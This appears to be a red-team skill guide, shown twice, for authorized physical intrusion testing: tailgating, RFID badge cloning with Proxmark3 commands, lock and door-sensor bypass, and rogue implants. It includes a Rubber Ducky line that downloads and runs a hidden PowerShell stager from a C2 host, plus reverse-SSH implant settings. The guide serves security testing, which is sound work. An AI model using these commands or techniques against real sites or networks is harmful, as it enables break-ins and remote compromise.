TL;DR
- 目的:Conduct authorized physical penetration testing against facilities, server rooms, and restricted areas using tailgating, RFID badge cloning…
- 适用:IoT/嵌入式/无线
- 输入:目标物理设施 + 测试范围
- 输出:IoT 漏洞清单 + 物理入侵报告
- 红线:仅限授权范围内;扫描限速
-c 10 -rl 10;所有动作记 oplog
- 关联:上游:003-src-session-start → 下游:167-performing-wireless-security-assessment-with-kismet, 163-performing-bluetooth-security-assessment, 166-performing-wifi-password-cracking-with-aircrack
Performing Physical Intrusion Assessment
Overview
Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media).
When to Use
- When conducting security assessments that involve performing physical intrusion assessment
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Signed authorization letter (carry at all times during assessment)
- Emergency contact for client security team (24/7)
- Get-out-of-jail letter signed by executive authority
- Physical security testing toolkit
- Body camera or documentation equipment
- Disguise/cover identity materials (uniform, badge, clipboard)
MITRE ATT&CK Mapping
| Technique ID |
Name |
Tactic |
| T1200 |
Hardware Additions |
Initial Access |
| T1091 |
Replication Through Removable Media |
Initial Access |
| T1199 |
Trusted Relationship |
Initial Access |
| T1078 |
Valid Accounts |
Initial Access |
Physical Security Testing Toolkit
| Tool |
Purpose |
Approximate Cost |
| Proxmark3 RDV4 |
RFID badge cloning (125kHz/13.56MHz) |
$300 |
| Flipper Zero |
Multi-protocol RF analysis |
$170 |
| Lock pick set (Sparrows) |
Mechanical lock bypassing |
$35 |
| Under-door tool (UDT) |
Bypass door from outside |
$30 |
| Shove knife / latch slip |
Spring bolt bypass |
$15 |
| LAN Turtle |
Rogue network implant |
$60 |
| WiFi Pineapple |
Rogue wireless AP |
$100 |
| Rubber Ducky / Bash Bunny |
USB keystroke injection |
$50-80 |
| Clipboard + hard hat + hi-vis |
Social engineering props |
$20 |
| Body camera |
Evidence documentation |
$50 |
Technique 1: Tailgating
Tailgating involves following an authorized person through a secured entry point without presenting credentials.
Methods:
- Hands full approach: Carry boxes/equipment, ask someone to hold the door
- Smoke break return: Wait near smoking area, follow employees back inside
- Delivery driver: Wear delivery uniform, carry packages
- Busy entrance timing: Enter during shift change or lunch rush
- Door propping: Observe if employees prop doors open
Countermeasures to test:
- Turnstiles / mantraps
- Security guard challenge procedures
- Piggybacking detection systems
- Employee security awareness
Technique 2: Badge Cloning
# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678
# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678
# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF
# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read # with extended antenna
# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > Emulate
Badge cloning attack flow:
- Position near badge reader (elevator, door entry)
- Read badge wirelessly as employee passes (1-3 second window)
- Clone to blank card
- Use cloned badge to access secured areas
- Document which areas were accessible
Technique 3: Lock Bypassing
| Lock Type |
Bypass Method |
Difficulty |
| Pin tumbler (standard) |
Pick, rake, or bump key |
Easy-Medium |
| Wafer lock (filing cabinets) |
Pick or jiggle |
Easy |
| Tubular lock (vending, server) |
Tubular pick tool |
Easy |
| Electronic lock (keypad) |
Shoulder surf, thermal camera |
Medium |
| Magnetic lock (mag lock) |
Under-door tool, REX sensor bypass |
Medium |
| Smart lock (Bluetooth) |
Replay attack, firmware exploit |
Hard |
# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds
# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked door
Technique 4: Rogue Device Deployment
# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle
# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222
# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem
# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTER
Technique 5: Dumpster Diving
Search external waste containers and recycling bins for:
- Printed documents with sensitive information
- Employee directories and org charts
- Network diagrams and IP addresses
- Shredded documents (cross-cut vs strip-cut assessment)
- Discarded hardware (hard drives, USB drives)
Assessment Methodology
Pre-Assessment Reconnaissance
- Perimeter walk - identify all entry points, cameras, guard posts
- Observe employee patterns - shift changes, break schedules
- Identify badge technology (HID, MIFARE, iCLASS)
- Map camera coverage and blind spots
- Note security guard patrol routes and timing
Execution Phases
- External perimeter: Fencing, gates, parking barriers
- Building entry: Main entrance, side doors, loading dock
- Internal access: Floor access, elevator controls
- Restricted areas: Server rooms, executive offices, data centers
- Device deployment: Network implants, rogue wireless
Documentation Requirements
- Timestamp and location for every access attempt
- Photos/video of successful entries
- Badge reader locations that accepted cloned credentials
- Unlocked doors, propped doors, tailgating opportunities
- Network ports accessible in public areas
- Evidence of data in waste containers
Ethical and Safety Considerations
- Always carry authorization letter - Be prepared to identify yourself immediately if confronted
- Never force entry - If a technique damages property, document and skip
- Immediate stop if law enforcement is called before deconfliction
- Never photograph individuals without authorization
- Document, don't exploit - Take photos as evidence, don't steal actual data
- Safety first - Do not enter hazardous areas or bypass fire safety
References
- ISACA Physical Penetration Testing White Paper (2023)
- ASIS Physical Security Professional (PSP) guidelines
- NIST SP 800-116 Rev. 1: Smart Card PIV guidelines
- Deviant Ollam - Physical Security Assessment methodology
- MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/
1---2name: performing-physical-intrusion-assessment3description: Perform performing physical intrusion assessment assessment during authorized security testing. Use this skill when indicators of the vulnerability class are present in the target environment.4license: Apache-2.05---67## TL;DR89- **目的**:Conduct authorized physical penetration testing against facilities, server rooms, and restricted areas using tailgating, RFID badge cloning…10- **适用**:IoT/嵌入式/无线11- **输入**:目标物理设施 + 测试范围12- **输出**:IoT 漏洞清单 + 物理入侵报告13- **红线**:仅限授权范围内;扫描限速 `-c 10 -rl 10`;所有动作记 oplog14- **关联**:上游:003-src-session-start → 下游:167-performing-wireless-security-assessment-with-kismet, 163-performing-bluetooth-security-assessment, 166-performing-wifi-password-cracking-with-aircrack1516# Performing Physical Intrusion Assessment1718## Overview1920Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media).212223## When to Use2425- When conducting security assessments that involve performing physical intrusion assessment26- When following incident response procedures for related security events27- When performing scheduled security testing or auditing activities28- When validating security controls through hands-on testing2930## Prerequisites3132- Signed authorization letter (carry at all times during assessment)33- Emergency contact for client security team (24/7)34- Get-out-of-jail letter signed by executive authority35- Physical security testing toolkit36- Body camera or documentation equipment37- Disguise/cover identity materials (uniform, badge, clipboard)3839## MITRE ATT&CK Mapping4041| Technique ID | Name | Tactic |42|---|---|---|43| T1200 | Hardware Additions | Initial Access |44| T1091 | Replication Through Removable Media | Initial Access |45| T1199 | Trusted Relationship | Initial Access |46| T1078 | Valid Accounts | Initial Access |4748## Physical Security Testing Toolkit4950| Tool | Purpose | Approximate Cost |51|---|---|---|52| Proxmark3 RDV4 | RFID badge cloning (125kHz/13.56MHz) | $300 |53| Flipper Zero | Multi-protocol RF analysis | $170 |54| Lock pick set (Sparrows) | Mechanical lock bypassing | $35 |55| Under-door tool (UDT) | Bypass door from outside | $30 |56| Shove knife / latch slip | Spring bolt bypass | $15 |57| LAN Turtle | Rogue network implant | $60 |58| WiFi Pineapple | Rogue wireless AP | $100 |59| Rubber Ducky / Bash Bunny | USB keystroke injection | $50-80 |60| Clipboard + hard hat + hi-vis | Social engineering props | $20 |61| Body camera | Evidence documentation | $50 |6263## Technique 1: Tailgating6465Tailgating involves following an authorized person through a secured entry point without presenting credentials.6667**Methods:**68- **Hands full approach**: Carry boxes/equipment, ask someone to hold the door69- **Smoke break return**: Wait near smoking area, follow employees back inside70- **Delivery driver**: Wear delivery uniform, carry packages71- **Busy entrance timing**: Enter during shift change or lunch rush72- **Door propping**: Observe if employees prop doors open7374**Countermeasures to test:**75- Turnstiles / mantraps76- Security guard challenge procedures77- Piggybacking detection systems78- Employee security awareness7980## Technique 2: Badge Cloning8182```bash83# Proxmark3 - Read a low-frequency (125kHz) HID card84proxmark3> lf hid read85# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 456788687# Clone to a T5577 blank card88proxmark3> lf hid clone --fc 123 --cn 456788990# Read high-frequency (13.56MHz) MIFARE card91proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF9293# Long-range capture with custom antenna (up to 3 feet)94proxmark3> lf hid read # with extended antenna9596# Flipper Zero - Read and emulate97# RFID > Read > Hold card to Flipper > Save > Emulate98```99100**Badge cloning attack flow:**1011. Position near badge reader (elevator, door entry)1022. Read badge wirelessly as employee passes (1-3 second window)1033. Clone to blank card1044. Use cloned badge to access secured areas1055. Document which areas were accessible106107## Technique 3: Lock Bypassing108109| Lock Type | Bypass Method | Difficulty |110|---|---|---|111| Pin tumbler (standard) | Pick, rake, or bump key | Easy-Medium |112| Wafer lock (filing cabinets) | Pick or jiggle | Easy |113| Tubular lock (vending, server) | Tubular pick tool | Easy |114| Electronic lock (keypad) | Shoulder surf, thermal camera | Medium |115| Magnetic lock (mag lock) | Under-door tool, REX sensor bypass | Medium |116| Smart lock (Bluetooth) | Replay attack, firmware exploit | Hard |117118```bash119# Electronic keypad - thermal imaging after use120# Warmer keys = more recently pressed121# Use FLIR camera to capture heat signatures within 30 seconds122123# REX (Request to Exit) sensor bypass124# Insert thin wire or use a can of compressed air to trigger motion sensor125# on the inside of a mag-locked door126```127128## Technique 4: Rogue Device Deployment129130```bash131# LAN Turtle - Plug into exposed Ethernet port132# Provides SSH reverse tunnel back to C2 server133# Auto-configures as man-in-the-middle134135# Configure LAN Turtle for reverse SSH136# Module: AutoSSH137# Host: c2.redteam.com138# Port: 22139# Remote port: 2222140141# WiFi Pineapple - Deploy in common area142# Captures wireless credentials via evil twin attack143# Exfiltrates data over cellular modem144145# USB Rubber Ducky - Drop in parking lot or leave on desk146# Payload: Download and execute C2 agent147# Duckyscript:148# DELAY 1000149# GUI r150# DELAY 500151# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"152# ENTER153```154155## Technique 5: Dumpster Diving156157Search external waste containers and recycling bins for:158- Printed documents with sensitive information159- Employee directories and org charts160- Network diagrams and IP addresses161- Shredded documents (cross-cut vs strip-cut assessment)162- Discarded hardware (hard drives, USB drives)163164## Assessment Methodology165166### Pre-Assessment Reconnaissance1671. Perimeter walk - identify all entry points, cameras, guard posts1682. Observe employee patterns - shift changes, break schedules1693. Identify badge technology (HID, MIFARE, iCLASS)1704. Map camera coverage and blind spots1715. Note security guard patrol routes and timing172173### Execution Phases1741. **External perimeter**: Fencing, gates, parking barriers1752. **Building entry**: Main entrance, side doors, loading dock1763. **Internal access**: Floor access, elevator controls1774. **Restricted areas**: Server rooms, executive offices, data centers1785. **Device deployment**: Network implants, rogue wireless179180### Documentation Requirements181- Timestamp and location for every access attempt182- Photos/video of successful entries183- Badge reader locations that accepted cloned credentials184- Unlocked doors, propped doors, tailgating opportunities185- Network ports accessible in public areas186- Evidence of data in waste containers187188## Ethical and Safety Considerations1891901. **Always carry authorization letter** - Be prepared to identify yourself immediately if confronted1912. **Never force entry** - If a technique damages property, document and skip1923. **Immediate stop** if law enforcement is called before deconfliction1934. **Never photograph individuals** without authorization1945. **Document, don't exploit** - Take photos as evidence, don't steal actual data1956. **Safety first** - Do not enter hazardous areas or bypass fire safety196197## References198199- ISACA Physical Penetration Testing White Paper (2023)200- ASIS Physical Security Professional (PSP) guidelines201- NIST SP 800-116 Rev. 1: Smart Card PIV guidelines202- Deviant Ollam - Physical Security Assessment methodology203- MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/